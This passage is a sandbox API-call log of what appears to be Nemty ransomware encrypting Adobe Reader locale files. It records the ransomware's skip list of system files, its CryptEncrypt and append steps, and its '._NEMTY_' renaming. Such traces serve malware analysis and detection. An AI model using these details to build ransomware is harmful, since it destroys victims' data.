lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.130] Sleep (dwMilliseconds=0x5) [0175.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c09b1d0, dwHighDateTime=0x1d561e8)) [0175.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c09b1d0, dwHighDateTime=0x1d561e8)) [0175.139] GetLastError () returned 0x0 [0175.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.139] GetLastError () returned 0x0 [0175.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.140] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.140] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="2C2uksFAdpZdpEyah2p8QHl7NOvqh1f/qQeFJbFP6RwfZnt28Io/YinZUgEDhXkC\r\nVGi6/lW93lhNOnArKRBThZxLJk7Z+5xtjCTzpPs6f9tbdT6AXnS3RCYNyth4UPP3\r\nedZkfLa2QLWxh8AMprdtPgEu+x4raqBGfbLn82rZodWfLjPcixsZgacylYZpDZgg\r\n8A9htN3VnqSWHj6/4z+TKEWWwoA1i1bTp7GekYQtxa6n5ljPNb/MYljPdh0JnhVM\r\n9RTOYj2+lu7K1F+kH4t99SrxMEPNAy0QVCBqBFr/q9Pkfxm4F6HQG8W5PpuRrdNO\r\ntpdqoLZ62ph5WPYEyQDrcA==\r\n", pcchString=0x653e5dc) returned 1 [0175.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.141] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0175.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0175.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.141] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0175.145] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.145] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0175.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.145] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0175.145] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.146] CloseHandle (hObject=0x2e8) returned 1 [0175.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.146] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu._nemty_kgobjgd_")) returned 1 [0175.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.147] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Escript.deu", cAlternateFileName="")) returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2=".") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="..") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="...") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="windows") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="$RECYCLE.BIN") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="rsa") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="NTDETECT.COM") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="ntldr") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="MSDOS.SYS") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="IO.SYS") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="boot.ini") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="boot.ini") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="AUTOEXEC.BAT") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="ntuser.dat") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="desktop.ini") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="CONFIG.SYS") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="RECYCLER") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="BOOTSECT.BAK") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="bootmgr") returned 1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="programdata") returned -1 [0175.147] lstrcmpiW (lpString1="Escript.deu", lpString2="appdata") returned 1 [0175.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Escript.deu", lpUsedDefaultChar=0x0) returned 11 [0175.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Escript.deu", lpUsedDefaultChar=0x0) returned 11 [0175.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Escript.deu", lpUsedDefaultChar=0x0) returned 11 [0175.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Escript.deu", lpUsedDefaultChar=0x0) returned 11 [0175.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.148] Sleep (dwMilliseconds=0x5) [0175.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c0c1330, dwHighDateTime=0x1d561e8)) [0175.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c0c1330, dwHighDateTime=0x1d561e8)) [0175.155] GetLastError () returned 0x0 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.155] GetLastError () returned 0x0 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.155] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.155] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7bq8ZrFJLT6uFJ5FcOQC3akaM6kp7iu3lr6SaNPppztLbrhmfKfoNv7voWFZTt3f\r\na3eMPJ4+A1iuZkLSblvjJrxSIKokCH2NnKBupE65xkl1jtkedRAuTSt/bB/lvJvH\r\nU5svTz4vk1cuolmqPR0mNTp2GoMvSrEYTj9JTE8Aq9KpssI4CbmaMNH9sOCwnuqm\r\nr27lygw+Fya9Pe8GoY/IBW5mXpo1VBI2WR7b2/J0oZbcTAojE6yXsCdm1Fb8Naa5\r\nJE6ymYltuNE7uCSc8awlRaHYR7Vr2U7lJtVZ1EfzgMf382sA0zRUMnFUyClTPunX\r\nknNtrr+bsKJKgpbvjTrLAw==\r\n", pcchString=0x653e5dc) returned 1 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.155] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=42496) returned 1 [0175.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa600) returned 0x6352c48 [0175.156] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.156] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa600, lpOverlapped=0x0) returned 1 [0175.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.160] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa600, lpOverlapped=0x0) returned 1 [0175.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600 [0175.160] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.160] CloseHandle (hObject=0x2e8) returned 1 [0175.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.160] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu._nemty_kgobjgd_")) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.161] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.DEU", cAlternateFileName="")) returned 1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2=".") returned 1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="..") returned 1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="...") returned 1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="windows") returned -1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="rsa") returned -1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="NTDETECT.COM") returned -1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="ntldr") returned -1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="MSDOS.SYS") returned -1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="IO.SYS") returned -1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="boot.ini") returned 1 [0175.161] lstrcmpiW (lpString1="IA32.DEU", lpString2="boot.ini") returned 1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="ntuser.dat") returned -1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="desktop.ini") returned 1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="CONFIG.SYS") returned 1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="RECYCLER") returned -1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="bootmgr") returned 1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="programdata") returned -1 [0175.162] lstrcmpiW (lpString1="IA32.DEU", lpString2="appdata") returned 1 [0175.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.162] 